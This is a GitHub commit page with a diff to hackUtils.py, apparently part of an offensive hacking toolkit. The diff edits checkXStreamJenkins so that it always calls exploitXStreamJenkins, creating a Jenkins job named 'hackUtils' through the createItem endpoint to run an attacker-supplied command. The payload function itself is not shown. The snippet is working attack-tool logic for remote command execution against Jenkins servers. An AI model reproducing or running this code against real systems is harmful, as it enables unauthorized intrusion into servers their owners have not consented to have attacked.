We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent c894812 commit 7c9530aCopy full SHA for 7c9530a
hackUtils.py
@@ -639,12 +639,12 @@ def checkXStreamJenkins(ip, cmdstr):
639
result = requests.get(url,timeout=10).content
640
job = getJobFromJenkins(result)
641
ver = getJenkinsVersion(result)
642
- if job:
+ #if job:
643
#job_url = url + job + "config.xml"
644
- job_url = url + "createItem?name=hackUtils"
645
- exploitXStreamJenkins(job_url, cmdstr, ver)
646
- else:
647
- print '[!] no job found! url: '+url
+ job_url = url + "createItem?name=hackUtils"
+ exploitXStreamJenkins(job_url, cmdstr, ver)
+ #else:
+ # print '[!] no job found! url: '+url
648
except Exception,e:
649
print '[!] connection failed! url: '+url
650
else:
0 commit comments